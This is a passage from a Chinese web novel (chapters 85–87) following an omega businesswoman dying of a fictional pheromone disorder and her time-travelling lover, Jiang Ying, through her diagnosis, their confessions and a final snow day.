方才靠不近,转身离开的姜映,此刻她能触碰到了。 姜映掌心覆在她手背上,再次轻柔地叫了一声:“姐姐。” 是真实的。 女生的体温和呼吸声都很真实。 程卿言嗯了一声,眼睫颤动着,眸光一直落在女生脸上,在确定她是真实的那瞬,生气也好,难受也好,统统消失。 能见到她,就已经很好了。 最多只能见三十天了。 程卿言坐了起来,伸手揽着女生的腰肢,下巴搁在女生肩上,闭上眼睛,脸颊缓缓蹭着女生的脖子:“姜映……” 姜映抱着她,掌心抚了抚她的背脊,心疼地吻了吻她的鬓角,嗯了一声:“你……” “先别说话,”程卿言低声道,“就这样抱一会儿。” 窗外下着雨,淅淅沥沥落于时间的缝隙,浸湿了炽热的心,心跳声荡起了一阵阵波纹。 昨天中午晕倒,晚上十一点那会儿醒了片刻,孙影回来后又醒了一阵儿,其余时间一直在睡觉。 程卿言睡了这么久,身上又出了汗,其实不怎么舒服,她想洗澡,但她有点累,于是道:“能帮我洗了澡吗?” 姜映点头:“我抱你去浴室?” 程卿言摇头:“我走过去。” 姜映嗯了一声,她能感觉到女人很累,跟在女人身后去了浴室。 半个小时后,她擦干她身上的水珠,又帮她穿上衣服,一起走了出去。 姜映柔声问道:“还要继续睡会儿吗?” “不了。” 程卿言虽然累,但还在能忍受的范围中,若是睡下去,她也不知道她会睡到什么时候,这一天的时间可能就浪费了。 而且她知晓她身体的状况了,越往后,她的精力体能会越来越差,即使是想醒着,想走一走,可能都支撑不住了。 这会儿她的情况还比较好,她想和姜映说说话。 程卿言坐在沙发上,看着女生的脸,问道:“你什么时候到的?” 姜映挨着她坐下:“八点半左右到的,我给秦助理打了电话,她去门口接的我。” 程卿言是在七点四十多给姜映发的消息,八点半就到了,应该是收到消息就跑赶过来了。 来了她的病房,但是没有叫她,她睡到了十点才醒,女生守了她一个半小时。 以女生的智商,应该猜到她出问题了,一直没有开口问她,脸上担忧的神情却很明显。 即使有系统,会做任务,对她的关心和喜欢应该也是真实的。 已经不想纠结此事,她没有那么多时间去生气了,她的精力也承受不住她去动怒生气。 程卿言轻呼一口气,主动道:“怎么不问问我怎么了?” 未经她的同意,秦助理和余简予应该不会把详细情况告诉女生。 姜映颤睫,喉咙干涩地滚了滚。 为什么不问? 不是不想知道,而是她在害怕。 余简予和秦助理的反应,以及女人的状态,让她心中隐隐有了答案,她害怕女人此刻的情况和她想的一样,她不敢去确认。 这不是她的做事风格,她向来直白,可她就是不敢开口。 她抿着唇,没有应声,眼尾泛起了红。 唉。 她还没说。 小姑娘怎么就要哭了。 程卿言在心里轻叹一口气,靠过去轻轻吻着她的眼尾,女生没流泪,她却尝到了眼泪的味道。 她一直以为眼泪是咸的,此刻她才明白,眼泪还可以是酸的,甜的,是苦涩的。 是所经历过往一切的流露,是爱意的液体型态,是内心无法描绘出的声音。 她要如何放下她。 而姜映日后又要如何忘掉她。 前两日她还因为姜映对她所做的一切是任务而感到生气,因为姜映对她的好里面可能有虚情而感到愤怒,她接受不了她给她的爱里面有任何虚假存在。 可是此刻。 程卿言的想法发生了变化,她希望这小姑娘对她是没有感情的,小姑娘在害怕她,想躲着她,对她只是在做任务。 日后就不会为她而难过。 如果有了爱,留下的人会很痛苦。 她见过云秋染这些年是如何度过的,十年了也无法释怀,困在了回忆里走不出去。 程卿言吻了姜映的眼尾,吻了她的鼻梁,掌心安抚着她的后颈,终究是要面对的,这件事只能她告诉女生。 姜映是成年人,有自己的判断能力,也能为自己的人生做决定,她不会打着为她好的名义,隐瞒这件事,即使是痛苦的,姜映也有权知道。 “姜映啊。” “嗯。” “我想告诉你一件事,你心里应该也有猜测了,你想我说吗?如果你不想,那我可以不说。” 女人的声音很轻很柔,明明还没说什么,一字一句落在心里的分量却很重,如果冰凉的潮水灌入体内,让人喘不过气。 姜映深深呼了一口气:“你说,我得知道。” 不是“想”,而是“得”。 程卿言揉了揉女生的耳朵,似喜似叹地笑了一声,头靠在她的肩膀上。 女生有系统,早就知道她患有信息素紊乱,也知晓她一些日常习惯,但她不清楚女生对她的信息到底掌握了多少,她也不想问。 那不是她亲口说的,与她无关。 她自己的事情得自己说。 程卿言牵着她的手,缓缓讲了她的现状,特效药对她无效,信息素紊乱已到了末期,最多还有一个月的时间。 女生握着她的手猛得用力,呼吸声变得很深,紧咬着唇盯着她。 不敢相信她说的,难以接受她说的。 眼眸中的情绪很复杂,暗沉,阴郁,自责。 姜映胸腔起伏,有些呼吸不过来,整个人裹上了一层浓浓的沉寂,手在颤抖着,红着眼睛说。 “不可能,不可能……” 程卿言理解她接受不了:“你听我……” 姜映打断:“你是世界女主,女主不可能有事,女主怎么可能有事,一定是哪出错了,姐姐你别担心,会有转机的,会有的会的。” 声音沙哑而哽咽,语速却很快,像是在推翻一些事实,证明她说的话是真理。 “姜映,”程卿言抱住她,缓缓道,“你别这样,你这样会让我难过的。” 姜映怎么舍得让女人难过,眼睫猛得颤动,不能流泪,女人见到了会难过的,干涩的喉咙滚动着,将所有暴动的情绪咽了下去。 女人衰弱的事实已经摆在眼前,她即使再不愿意接受,也得面对这个事实。 她不属于这个世界,程卿言不是时空局分配给她的女主,因此她不知道女人未来的命运走向会如何。 可是世界女主怎么可能出这种事,女主如果消失,世界也会受到影响。 为什么会出现这种意外? 姜映抬眸,自责道:“因为我对吗。” 程卿言没明白她的意思:“什么?” 姜映顾不了那么多了,开口说了她之前因为种种顾虑而不敢让女人知道的事,她来自时空任务局,不属于这个世界。 但女人不是她的女主,她疲于做任务,逃来了这里,她的这些记忆也不是生来带有,是在稻村砸到脑袋之后突然出现的。 她将她知道的一切都告诉了女人。 程卿言静静听着,这些事情已经超出了她的认知范畴,震惊之余,抓到了重点,开口问道:“既然我不是你的女主,那你备忘录里为什么有那么多关于我的信息?” 姜映说:“有一部分是我初遇你那晚做了有关你是女主的梦。” 还有一些则是脑子里自然而然下意识的举动,比如女人爱吃甜粥,不爱油烟味,不爱动手等等生活中的小习惯。 所以女生以往对她的好都是真实的,对她的喜欢也是真实的,与系统任务无关。 程卿言提了口气,后悔那晚她说那些伤害女生的难听话,是她太冲动了,正欲道歉。 “你之前都是好好的,吃了特效药有好转,我都感觉到了,”姜映内疚自责:“会不会是因为我靠近了你,你是世界女主,而我不属于这个世界,所以你的命运被我影响了?” 程卿言摇头,不想她胡乱把事情揽到自己头上,道:“和你没关系。” 姜映不肯相信,觉得女人是在安慰她。 程卿言又给她说了她双亲的事情,解释清楚了原因。 和女生没有关系,在女生来到这个世界前,她的腺体基因就已经发生了变动,她的命运就已经注定了。 无法再改变。 说完这些事,程卿言已经很累很疲惫了,支撑不住了,很想睡觉。 姜映心疼不已,不能让女人耗费那么多心神,抱起她,将她放在了她床上,吻了吻她的额头:“睡吧。” 程卿言眼睫快合上了,喃喃许诺道:“别哭,我会醒来的……” 姜映眼尾泛着红,嗯了一声。 她会一直陪着她,无论在哪。《 》 85-90 第86章 初雪 初雪 第八十六章 程卿言一直有睡眠问题,对睡眠环境要求也很高,平时入睡困难,前些日子和姜映同床共枕,睡眠质量才提高了一些,但也没有好到闭眼便进入沉睡的地步。 可是此刻,女人可以瞬间入睡了,姜映却高兴不起来,无尽的担忧在心中蔓延。 得多累,多困乏疲惫,才能秒睡。 眼尾的红一直没消散,姜映坐在床边守了十来分钟,病房门被推开了,孙影走了进来。 孙影观察了程卿言的腺体情况,又给程卿言输上了缓抚液和营养剂,止疼剂清晨那会儿已经用过了,不能过量,药效也还在,因此这会儿没用使用。 至于体能剂或是体能药,不到万不得已,不能随便使用。 体能剂虽然能让程卿言的精力好一些,但副作用很大,会透支身体,缩减已经所剩不多的时间。 进出,取瓶挂药,检查,以及孙影和邹全的讨论声,病房里时不时会弄出些声响,但程卿言一次都没醒过,一直在睡觉。 姜映静静地守着女人。 在此期间,她发消息给了楚工,请了长假。 她之前受了伤,领导本来就给了她假期,让她好好养着,春节过后再去工作。 是她恢复得快,闲着没事情做,主动回去上班。 科研院虽然同意了,但也不允许她加班,给她分配的工作任务也比较轻松。 这会儿她要请假,楚工自然会同意,没有多问,直接批准了。 姜映放下手机,指腹轻柔地抚了抚女人微微拧起的眉心,给女人理了理被子,暂时离开了。 病房是一套两居室的小套房,姜映关上门,去了客厅。 余简予这会儿没在这里,去公司处理事情了,晚上才会过来。 秦助理还在,见她出来,放下电脑和她打了招呼,问道:“食堂等会儿要送午饭上来了,你想吃点什么?” 姜映没有胃口,感觉不到饿,但是也不能不吃,随便点了一碗炒饭,味如爵蜡,应付地吃了几口,便吞不下去了,有些想吐。 不是饭菜的问题,是她的心理问题。 秦助理的状态和她差不多,吃不下也得吃,还有很多事情需要她们处理。 几分钟后,姜映离开了病房,去了孙影的办公室,认真地询问了程卿言目前的情况。 她不是医学生,但她前些日子看了很多有关信息素紊乱以及特效药的论文报道,认真钻研过,很多词汇都能听得懂。 孙影所说的一切,她都可以理解。 而且理解得很清楚,越是清楚,她越知晓女人的状况是如何糟糕,并且不可逆转。 除了用药缓解疼痛,维持体征,她们做不了其它事了。 只能眼睁睁看着女人的状况一天天严重下去。 孙影不会放弃,在这段时间里她会将她所有的时间都用在研究上,她不敢休息,也不能停下。 但是作为在这行工作了那么多年的人,她心里很清楚,她所做的一切都是无效的,不可能在那么短的时间内研发出新药。 给她十年,或许有可能。 可是最多只有一个月的时间了。 她只是接受不了事实,无法眼睁睁看着程卿言离去,而她却什么也做不了。 孙影记得姜映。 程卿言之前带着姜映来这里做过体检,她亲自看的检查报告,记得姜映标记无能,无法分泌信息素。 当时她没问她们是什么关系,现在看来,程卿言喜欢的alpha应该就是眼前这人。 不然程卿言可不会在这种时候让姜映来陪着。 姜映进她办公室时,孙影认真打量几眼,身材和长相都不错,和程卿言很般配,但是年纪是不是太小了一点,大学都没毕业,能靠得住吗? 她有些担心。 如果程卿言是健康的,她会认真考察姜映,但是…… 孙影此刻不会去想那么多了,只要程卿言喜欢就好。 交谈了半个多小时,她对姜映的印象开始改观了,年纪不大,但性格很沉稳,人也很聪明,确实不错。 心里有了定论,程卿言看上的alpha很好,因此也没了顾忌,细致地给她说了程卿言的状况。 虽然大家都不想接受事实,但还是得有心理准备,尤其是亲密无间的恋人。 姜映并不知到孙影对她的影响一变再变,她所有的注意力都用在了程卿言的身上,问清楚了所有事情,孙影解答了她的疑惑,由衷地道了谢,离开了办公室。 抱着希望而来,希望散尽,失望而回。 姜映眼眶通红,用冷水洗了脸,对着镜子练习了几分钟如何笑得好看,笑得不僵硬,擦干净脸上的水珠,重新回了病房。 坐在床边,女人还在睡,因此她不用收敛情绪,颤动的眼眸中有着心疼不甘和悲痛。 孙影是目前腺体学领域中最权威的人,她都没有办法,束手无策,对女人的状况下了定论,那就是真的无法改变了。 为什么会这样? 女人为什么要经历这么多的苦难。 苦难的结束便是生命的结束? 姜映回顾了她从前做的那些世界任务,从来没有遇见过这种情况,女主怎么可能消失。 女主消失了,世界还怎么运行。 姜映觉得她是她出现,影响了女人的命运。 但程卿言和孙影都说了,程卿言是因为当年腺体基因被改变过,近期研发出来的特效药才会没用。 程卿言的命运在出生时就已经注定。 即使她不来到这个世界,在这一年也会出现这件事。 和她无关。 那和谁有关? 姜映坚定地认为世界女主不可能出现生命危险,一定会有转机,一定会有办法,只是她没发现。 片刻后她猛地颤了颤眼睫,不禁疑惑,这个世界真正的任务者呢,为什么还不出现在女人身边。 难道已经完全了任务,回到时空局了? 不可能,如果任务已经完成,女主的所有重大危机都应该解决了,怎么还会出现生命危险。 姜映陷入了沉思。 真正的任务者是不是还没出现? 或者是出现了,但还没开始执行任务? 姜映不得而知,她和女人认识的时间不长,女人身边的人,她认识的不多,只有几个。 因此她不知道任务者到底是什么情况。 时间不多,事关重大,姜映着急,很想知道一些有用的线索,想到了她的梦境。 梦境里没有说世界的任务者是谁,只提到了三个人,她路人甲,程卿言是女主,以及程卿言在故事的最后会遇见的那位爱吃醋的心上人。 梦境里的信息有真有假,不能全信。 这位爱吃醋的心上人是真的还是假的? 如果存在,又会是谁? 真正的任务者? 姜映深呼一口气,如果这个信息是真的,不管这人是不是任务者,她也得想办法找找。 她知道的信息不多,因此每个字都很宝贵,都得认真分析。 心上人会在故事的最后出现。 “最后”。 何为最后? 程卿言此刻的情况好像也可以用“最后”来形容,所以如果这个人真的存在,那就到了这个人出现的时间了。 她想得太入神,没有注意到程卿言已经睁开了眼,静静看了她一两分钟了。 小姑娘满脸严肃想什么? 只要不是在为她的事难受流泪,无论想什么都可以。 程卿言睡了一觉,精力恢复了一点点,抬指戳了戳女生的腰肢,下一瞬女生便回过神,垂下眼眸,满眼柔情地看着她。 “姐姐。” 程卿言笑了一下,能醒着听见女生的声音,于她而言已经变成一件珍贵的事情。 多听一声,便少一声。 她坐起来,挑眉问:“不吻吻我?” 姜映靠过去,温柔地在她唇上亲了几下,又吻了女人的眼睛,鼻梁,下巴。 轻柔缓慢,没有欲望,只有浓浓的怜惜爱意。 很寡淡的一个吻,舌头都不伸一下,程卿言不满地在心里吐槽几句,但没表现出来,她知道女生是不想让她累着了,在担心她的身体。 她也清楚自己的情况,如果像从前那样吻,可能吻到一半她就会累得想睡觉了。 清醒的时间本就不是很多,她也才醒,不想又躺下去。 衣服睡得皱巴巴的,程卿言不喜欢,她让女生给她换了身衣服,没有一直在床上,她起身在屋内走了几步,打开电视找了综艺放了起来。 也不是想看,只是觉得室内太安静了,需要一点欢快的声音。 女生和她十指相扣,时不时和她一起讨论电视上的内容。 姜映平时几乎不看综艺,她对此没有兴趣,因此对综艺里那些游戏都很陌生,提出的问题也很可爱,可爱而不自知的可爱。 程卿言心情不错,笑了她好几次。 聊天,看电视,很普通的日常,明明在笑,笑着笑着又有点悲伤。 程卿言忽然想将这些平凡的瞬间记录下来,可以是照片,可以是视频,但是她没提出来,她担心日后女生独自一人瞧见了会难过。 每看一次,就难过一次。 “姐姐。” 女生忽然叫了她一声。 程卿言侧眸:“嗯?” 姜映开口问:“你以前有没有喜欢的人?” 问这个做什么? 程卿言说:“没有。” 姜映继续道:“有过一点点好感的人也没有吗?” 程卿言:“也没有。” 姜映若哦了一声,若有所思地眨了眨眼,既然没有,任务者应该还没出现。 但是都这个时候了,不可能不出现,她忽然想到了前几日和女人吵架那晚,女人接了通电话,好像在查什么人。 她好奇问了女人在找谁,女人当时因为看了备忘录在生气,没有认真回复她。 那个人会不会是任务者,开始和世界女主产生联系了? 姜映不能直接问这件事。 她是外来者,女人知道了她的身份,目前来看,没有什么大影响,出现的变故也不是因为她。 但真正任务者的性质就完全不一样了,她从前在别的世界执行过任务,清楚时空局这条规则,不能让女主知晓任务者的身份,否者世界会混乱,女主的命运一定会被影响。 程卿言见她发愣,轻轻笑了一声:“好奇我的感情经历?” 姜映说:“也不算吧。” 程卿言轻呼一口气,在女生耳朵上吻了一下,柔和而认真道:“只有你一个。” “我不会让别的alpha靠近我。” “那晚我说的那些话,不是真的,我没有别的alpha,只有你,你和所有alpha都不一样。” “我喜欢你。” 在酒店和姜映初遇那晚,如果她闻见的信息素味道不是青竹香,见到的人也不是姜映,她肯定不会让人进屋,会直接让秦助理将其处理好。 当时她误以为姜映是余简予给她找的信息素安抚着,但这并不是她让姜映今屋的理由。 如果换一个地方,她也没有误会,她会让女生进屋吗? 答案是会的,她会让女生进去,让女生咬她的腺体,与身份无关,那是她本能的选择,她想靠近她。 女人的话在姜映心里荡起了波浪,如同春风拂过,暖意中又带有几分苍凉,她紧紧抱着女人,胸腔起伏,声音微微颤抖。 “姐姐。” “嗯。” “谢谢你喜欢我。” “不客气。” 姜映深深闻了闻女人发间的味道,眸光坚韧,她一定会找到办法的。 她不会让女人出事,无论让她付出任何代价。 如果找不到任务者,那就她来。 会有办法的。 程卿言脸颊蹭了蹭女生的脖子,想到了什么,颤动的眼睫忽然顿了顿。 她只喜欢姜映,只有姜映一个alpha,那姜映呢,只有她一个omega吗? 程卿言知晓女生很喜欢自己,可这是在当下的世界发生的事情,在这个世界女生只喜欢她。 以前的那些任务世界呢 姜映有没有喜欢过别人。 程卿言想到她们之前的亲密,明明都是第一次,女生的吻技和床技出乎意料的好,当时女生告诉她,她会这些是因为本能。 这些本能是从哪来的,会不会是从前…… 程卿言轻轻拧了拧眉,她不是迂腐之人,那得女生的过去,即使和别人有过什么,她也不会介意。 她只是…… 有点吃醋和不爽。 程卿言思忖几息,开口道:“姜映。” 姜映嗯了一声:“怎么了?” “我是你的第几个?”程卿言闷闷地问了一句。 姜映没反应过来:“什么?” 程卿言:“你在从前的任务世界里谈过几个?” 啊? 姜映抬眸,道:“我没有谈过。” 程卿言不信:“你如实说,我不会吃醋的。” 说着不会介意,其实心里酸得不行,alpha若是谈过很多,每到一个世界,就谈一段,那她会狠狠给她一脚。 姜映笑了一下,认真解释:“我从前没做过感情任务,执行的都是剧情任务,几乎都是群像,做得都是协助主角团成长的事。” “我没有喜欢过别人,只有你,只喜欢你。” 程卿言:“真的?” 姜映肯定:“真的。” 程卿言扬了扬眉,满意地在女生脸上亲了一下,静静抱了一会儿,感受着彼此的温度和气息,忽然说:“我有点饿了。” 从昨日晕倒至现在,她没有进食,只输了几瓶营养液,嘴里没味,有点想吃正常食物。 姜映问道:“你想吃什么?” 程卿言柔柔道:“不知道,你决定吧。” 姜映了解她的喜好,乐意为她做这些事情,考虑到女人身体不好,点了一些清淡但又有特色的食物。 半个小时后,她陪着女人一起吃了晚饭,天色也暗了下去。 连着下了几天的雨,气温一直在降,外面很冷,甚至有要下雪的趋势。 饭后程卿言有点乏了,但也还好,她不想上床睡,依旧在沙发上,头枕着女生的腿,准备休息。 “我得睡会儿。” “好,我陪着你。” 程卿言嘱咐:“余简予来的时候,你记得叫醒我,我有事要给她说。” 姜映握着女人的手,吻了吻她的额头:“我知道了,睡吧。” 程卿言嗯了一声:“别担心,我会醒来的。” 姜映朝着笑了一下:“我知道。” 她一直看着女人,在女人睡着后,嘴角的笑容就落了下去,她笑不出来,眼眸里只有无尽的担忧与爱意。 余简予在晚上八点出头那会儿来了研究所,快到病房时,给姜映发了消息。 姜映记得她的任务,她得叫醒程卿言。 但女人睡得比较沉,小小的声音叫不醒,她放大了音量,叫了好几声女人才醒过来。 在嗓音一点点变大的时候,姜映就止不住地担心了,她害怕她叫不醒她。 好在女人醒了,她快熟收敛了自己的情绪,朝着女人笑了一下,温柔地在她唇上吻了一下。 程卿言在她身上懒了片刻,待困意过去,意识清醒了才坐起来,和女生对视着。 姜映眨眨眼:“怎么了?” 程卿言的眸光落在女生的眼尾,没有泪水,也没有泛红,和她说话时还带着微微笑意。 可当她凑过去,吻落在女生眼眸上时,她还是尝到了泪水的味道,苦涩悲伤。 在她睡着的时候,小姑娘应该哭过了。 程卿言心里酸涩,双手揽着对方的脖子,一下下吻着小姑娘的眼尾。 “外面好……” 余简予推开门,话说到一半,将“冷”字咽了下去,愣了两秒,觉得自己来的不是时候,正打算出去,一会儿再进来。 程卿言侧眸叫住她:“你别走。” 余简予打趣:“你那么大方邀请我看你们接吻?” 程卿言从女生腿上下来,呵了一声:“你想得美。” 余简予切了一声,走过来坐下,姜映和她打了招呼,而后道:“那你们聊,我出去走会儿。” 程卿言点点头,对方在病房里陪了她一整天,出去走走也挺好的:“你加件衣服再出去。” 姜映应好,关上门便离开了房间。 瞧见秦助理在过道的尽头打电话,她礼貌地等了几分钟,在她挂断电话后,才走过去。 秦助理观察能力强,姜映出来时,她就看见她了。 对方等着她,应该是有重要的事情要问她。 * 房内。 余简予说着这两日公司的情况。 程卿言认真听着,近期公司事情不多,科技园项目也步入正轨,她不出现,有余简予和秦助理在,也还算稳定。 她的状况会越来越坏,即使大家都没提,装作什么都没发生的样子,和以往一样打趣开玩笑,其实心里都清楚,她的时间不多了。 程卿言得面对这个事实,科技园项目是她的心血,她之前为此付出了很多时间,她等不到项目建成的时候了,但她希望项目能顺利完成。 参与科技园项目的人都是她的心腹,基础已经打好,稳扎稳打地按计划进行下去,出现意外的概率很小。 但她还是有些不放心,细致地给余简予说了项目在未来可能会遇见的风险,交代了一些还未实施的计划。 以及她电脑的登录密码,和所有机密文件的内容,她都告诉了余简予,都得让余简予处理了。 说完这些后,程卿言认真道:“以后就辛苦你了。” 余简予喉咙哽咽,发干,紧紧攥着拳,笑着道:“辛苦什么,我闲着也没事情做。” 程卿言嗯了一声,想了想又道:“姜映还没毕业,她还得继续读博,没那么多时间去照顾拉面丸子,日后拉面丸子也得麻烦你。” 拉面丸子和余简予很熟悉,玩得很好,余简予家里的院子很大,也有阿姨照顾,拉面丸子早晚都需要遛,跟着余简予是最好的选择。 “还有我……” “别说了,”余简予红了眼眶打断,听不下去,呼吸有些急,哽咽道,“程卿言你凭什么要和我说的这些,这些都是你自己的事情,为什么要让我去做,你别说了,我不想听。” 程卿言深呼一口气,握着她的手,她也觉得她很残忍,对最好的朋友说这些话,静了几息,愧疚道:“抱歉啊。” 余简予扭过头,抬手擦了忍不住流出来的眼泪,她明白对方为什么要和她说这些,她是对方最信赖的朋友兼搭档,她是最适合做这些事情的人。 对方的时间不多了,之后只会更加糟糕,因此才会在状态还算不错的此刻,安排好这些事情。 她明白,她懂。 可是她就是接受不了。 空气安静下去,无人再说话。 余简予站在窗边吹了会儿寒风,试图冷静下来,做了好几次深呼吸,眼泪止住,彻底平复后才走回去,重新坐下,声音有些哑:“你继续。” 程卿言:“要不你先喝点热水?” 余简予倒了杯热水,喝了几口润了润喉,缓解了嗓子的干涩,主动开口和她讨论着以后的事,担心遗忘,她还拿出手机记了下来。 十点整,事情说得差不多了,程卿言也困了,她起身离开了研究所。 “我明天再来看你。” 见一面少一面,程卿言没有阻止,应了声行。 三十分钟后,室内的灯暗了下去,只留了一盏昏黄的夜灯,已经洗漱好了两人躺在了床上。 女人在姜映怀里很快睡了过去。 姜映无法入睡,心疼地吻了吻女人的额头,脸颊,眼眶又泛起了红。 在余简予来找女人时,她问了秦助理一些事情,想知道女人近期在找谁。 秦助理作为程卿言的助理,自然清楚这些事,但没有程卿言的允许,她不会将其透露出去,她有她的原则。 姜映告诉她这件事可能与女人身体的康复有关,她必须得知道,最终秦助理还是告诉她了。 程卿言查的人是一家外企的大老板。 这个时间段出现的较为特殊的人只有她,事关重大,姜映不敢掉以轻心。 可是查这个人的起因是之前的港城烟花秀,是为云秋染的事而查。 听起来和任务者没有关系,和程卿言也没有任何瓜葛。 脑子太乱,想的事情很多,姜映几乎一宿没睡,即使睡着了,也会突然惊醒,满头是汗,下意识探一探女人的鼻息,感受到女人温热的呼吸落在她指尖上,她才会安心。 如此提心吊胆过了两三天,姜映廋了好几斤。 程卿言的身体状况在这几天里迅速下降,腺体疼痛加剧,止疼剂的使用量也翻了倍。 清醒的时间越来越少,一天二十四小时,至少有十六七个小时在昏睡。 余简予每天都会来看她,云秋染也推到了很多工作,在晚上来了好几次。 最难受的人是姜映,她一直陪着程卿言,所以最能直接体会到女人身体状况的变化,就像她双手捧起一摊水,如论如她何细心呵护,她也阻止不了水一滴一滴往下渗。 只能眼睁睁看着手里的水流失。 这日晚上,余简予和云秋染一起过来,程卿言在睡觉,她们试着叫了她几声,已经很难叫醒了。 程卿言的精力已经无法支撑她有过多的清醒时间。 房里的人并不少,但大家都没怎么说话,陷入了一片安静,不知道该说什么,也不想说什么,就这样无言待了一个多小时。 夜已深,大家得回去了,姜映送她们到了门口,看着她们离开后,没有急着回房间。 向来笔直的背脊忽然弓了下去,双手撑着膝盖,胸腔起伏,眼泪止不住地往来流,浑身微微颤抖,无声地哭泣着。 片刻后,深呼一口气,擦干眼泪,平静地走回了房间,快速洗漱好,回了床上躺着,轻轻将女人抱在怀里。 她不知道她是什么时候睡着的,也不清楚她是怎么睡着的,快醒来的时候,感觉耳朵好痒,痒得她睁开了眼。 瞧好和怀里的女人对视上。 姜映眼睛瞬间亮了,声音惊喜到颤抖:“姐姐。” 程卿言难得醒过来,拿发尾挠女生的耳朵,将女生早早弄醒,她在女生唇上吻了一下,虚弱道:“你看窗外。” 姜映视线往外移,落于窗外,入目的枝丫上覆着一片白。 下雪了。 碚城的初雪来的格外迟,二月初下起了第一场雪。 程卿言颤睫,心动道:“我想出去玩雪,你能带我出去吗?” 姜映想答应她,可是女人的精力太差,根本无法玩闹。 程卿言知晓她在想什么:“我可以吃体能药。” 吃了体能药,精力就能短暂地变好一些,能让她出去玩一玩雪。 但是体能药的副作用很大,每吃一次,就是在透支身体,会缩减已经为数不多的生命。 没有人会同意她吃。 姜映咬着唇,摇头,不想给她。 “姜映,”程卿言声音柔而倦,嘴唇缓缓蹭着女生的耳畔,“如果错过了,我就看不见下一个雪天了,给我吃一颗,让让我好不好……” 第87章 来过 来过 第八十七章 天已经亮了,熹微的晨光从云层里探了出来。 雪覆了满地,白茫茫一片。 腺体研究所的清晨向来安静,今早却时不时有笑声响起。 孙影走到窗前,视线寻着声音看去,瞧见了在小院子里堆雪人的两人。 “谁在下面?”邹全放下手中的检查报告,走了过来,朝着外面看了看,眉头瞬间皱了起来,“简直胡闹,都这种时候,怎么能去雪地里玩,我这就下去叫她们回来。” 孙影拉住她,劝说道:“别去了。” 邹全担忧:“可是……” 方才她们看的是程卿言最新的检查报告,情况比她们最初预估的还要糟糕很多,最初她们诊断程卿言还有一个月的时间。 但是以此刻腺体的各项数据,以及这几日变化的速度看,实则最多只有二十天了。 而二十天已经过了快一个周了,余下的时间寥寥无几,半个月都不到。 状况太差,程卿言的精力不能支撑她去雪地玩,除非吃了体能药,可是体能药的副作用太大了,这种时候怎么能去吃体能药。 “就让她玩吧 ,”孙影瞧着雪地上难得鲜活快乐的程卿言,眼眶微微泛起了红,字字艰难道,“已经没有多少时间了,让她做回自己任性一次。” 程卿言算是她看着长大的人,虽然没有经常见面,但她很懂她的性格。 以程卿言的性格,在生命的最后一段时间里,其实是不会让自己一直躺在床上昏睡,“茍延残喘”地度过,那样对于程卿言而言是没有价值的。 她肯定会每日都吃体能药,即使为数不多的时间不断被缩减,即使一个月缩减到一两天,她也不会在意。 数量和质量之间,她会选择质量,会去做自己想做的事情。 可是程卿言并没有这样做,一直安分地遵从医嘱,没有去吃体能药,大多数时间就在昏昏沉沉中度过了。 程卿言不是为了自己,而是为了她们,为了不让她们伤心,为了让她们能多见她一段时间,才如此反常地安分,每日如此憋屈地昏睡着。 邹全叹了一口气,打消了要下去阻止她们的想法。 楼下的人玩得太投入,并不知道有人在看她们。 即使知道,她们也不会在意,她们眼里只有彼此。 程卿言穿得很厚,戴了毛线帽,围巾,手套,穿了大棉袄,秋裤加羽绒裤,还有棉鞋。 她知性优雅,以往所去的地方都不会寒冷,穿得都很单薄,何时穿得这样臃肿过。 这一身打扮不是她搭的,她不可能让自己穿成这样,太不符合她的气质了。 姜映给她搭配的,作为答应她吃体能药下楼玩雪的条件,程卿言不情不愿地穿上的。 程卿言从前没堆过雪人,动手能力也一般,因此主力是姜映。 当然,她也不会在一旁静静看着,她负责添乱,时不时取下手套,将微微发凉的手伸进女生的脖子里,冷得女生一激灵。 姜映会宠溺无奈地看她一眼,将她的手拿出来,给她戴好手套:“你别闹。” 程卿言挑眉:“嫌弃我?” “怎么会。”姜映冤枉。 “不让我碰你,”程卿言看着她,“你就是嫌弃我。” 女人声音幽怨,十分入戏,已经演上了。 姜映看得出来她在开玩笑,抱着女人轻轻笑了一声,主动取下女人的手套,拉着女人的手伸进了衣服下摆,直接落在了自己温暖细腻的心口上。 程卿言掌心一跳,一两秒才反应过来女生做了什么。 这人何时变得怎么大胆了,虽然周围没人,但也是在大庭广众下呀。 姜映颤睫,问道:“姐姐的手暖和些了吗?” 程卿言嗔了她一眼,快速将手拿出来,在女生唇上轻咬一下,轻骂一句:“坏东西。” 女人已经好久没这样说她了,姜映怀念,柔声道:“再骂骂我。” 程卿言笑了一声,这都是些什么要求,捏了捏她的耳朵,宠溺地满足alpha,尾音上扬:“狗家伙,混蛋,混账东西。” 闹了一会儿,姜映听舒服了,继续堆雪人,动手能力强,很快完工。 “不错,”程卿言认真瞧了瞧,“就是有点点单调。” 姜映想了想,取下自己的围巾,戴在雪人鼻脖子上:“这样呢?” 程卿言对此很满意,建议道:“你给它取个名字吧。” 姜映:“我来啊?” 程卿言点头:“你来。” 姜映认真地想了几秒:“程小花。” 程卿言:? 这傻傻的雪人怎么能和她一个姓。 “姜小花。” 姜映眨眼:“啊?” 程卿言扬唇:“不行啊?” 姜映眉眼含笑:“可以,就叫它姜小花。” 傻不傻。 程卿言也跟着笑了起来。 第一个雪人堆好了,有了经验,姜映又堆了一个,不仅速度更快,体型也更大一些,两个雪人挨在一起,就不孤独了。 姜映给大雪人取名:“姜大花。” 程卿言颤了颤眼眸,轻柔道:“叫程大花吧。” 姜映顿了顿,懂她的意思,眼眸一热,忽然有了想流泪的冲动,咬了咬舌尖,又忍了下去。 不能让女人瞧见她流泪。 已经下来好一会儿,昨夜雪过后,今日艳阳天。 太阳烈,温度较高。 雪人会融化。 程卿言牵起姜映的手,站在姜小花和程大花旁边,询问道:“想拍张照片吗?” 她很想,如果她有未来,她不会询问,会直接拍很多照片,但此刻她得问一问才行,留下这样的合照,女生日后见了会难过。 瞧见照片,睹物思人,会流多少泪。 真的很想和坏东西过一辈子。 为什么她的命运是这样,她内心是不甘的,可她无力反抗。 姜映咽了咽苦涩的喉咙,笑着回应:“拍吧。” 在雪人融化前。 于是连着拍了好几张,程卿言翻着照片,开始碎碎念:“这个衣服不适合我,不是我的风格,我觉得不好看。” 姜映说:“你穿什么都好看。” 女生的话没有参考价值,女生那么喜欢她,无论她穿什么,她在她眼里都是好看的。 听了女生的夸奖,程卿言心情愉悦,但她还是有自己的审美,她真的不爱可爱风,她不是甜妹。 “下次别让我穿……” 话音顿住,无法将完整的话说出来。 “下次”。 应该没有下次了。 前几日一直下雨,气温骤降,昨夜降到了最低,才有了这场雪。 